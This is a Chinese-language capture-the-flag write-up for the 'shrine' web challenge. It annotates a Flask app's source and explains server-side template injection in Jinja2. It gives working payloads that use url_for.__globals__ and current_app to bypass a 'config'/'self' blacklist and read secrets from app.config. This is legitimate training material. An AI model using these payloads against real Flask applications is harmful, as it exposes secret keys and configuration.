背景知识
了解Flask
SSIT模板注入
题目
进行代码审计
import flask
import os
app = flask.Flask(__name__)
/*创建了flask包下的Flask类的对象,name是一个适用于多数情况的快捷方式。有了这个参数,Flask才知道在哪里可以找到模板和静态文件*/
app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里
@app.route('/')
/* @app.route(url) 是Flask框架中的一个装饰器,他的作用是在程序运行时,装饰一个视图函数,用给定的url规则和选项注册他*/
def index():
return open(__file__).read() //相当于返回源码,也就是我们看到源码的页面
@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 空,再将 ( 替换为 空
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//匹配黑名单,将匹配到的config和self换成空字符
return flask.render_template_string(safe_jinja(shrine))
// 这句话就是调用了过滤函数对用户输入的网址进行过滤
if __name__ == '__main__':
app.run(debug=True) //如果这个python是主程序,则启动app
注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}或 {{self.dict}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’] 并且过滤了括号
如果有过滤,就需要尝试通过全局变量实现沙盒逃逸
ssit模板注入
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程
服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)
模板渲染接受的参数需要用两个大括号括起来{{}},所以我们需要在大括号内
构造参数形成注入
首先看是否存在注入{{1+1}}
存在,需要构建payload来查看app.config[‘FLAG’]
直接config是不行的,被过滤。通过别的函数来查看全局变量来获取当前的app,目标是app.config[‘FLAG’] 。如python的内置函数url_for或者get_flashed_messages,利用python对象之间的引用关系来调用被禁用的函数对象。
首先注入
/shrine/{{url_for.__globals__}}
current_app意思应该是当前app,那就当前app下的config
/shrine/{{url_for.__globals__['current_app'].config}}
找到flag
参考学习文章链接:
https://www.cnblogs.com/wuhongbin/p/14283829.html
【愚公系列】2023年05月 攻防世界-Web(shrine)_愚公搬代码的博客-CSDN博客
攻防世界web题-shrine_shirne大佬_努力做大佬m0_68074153的博客-CSDN博客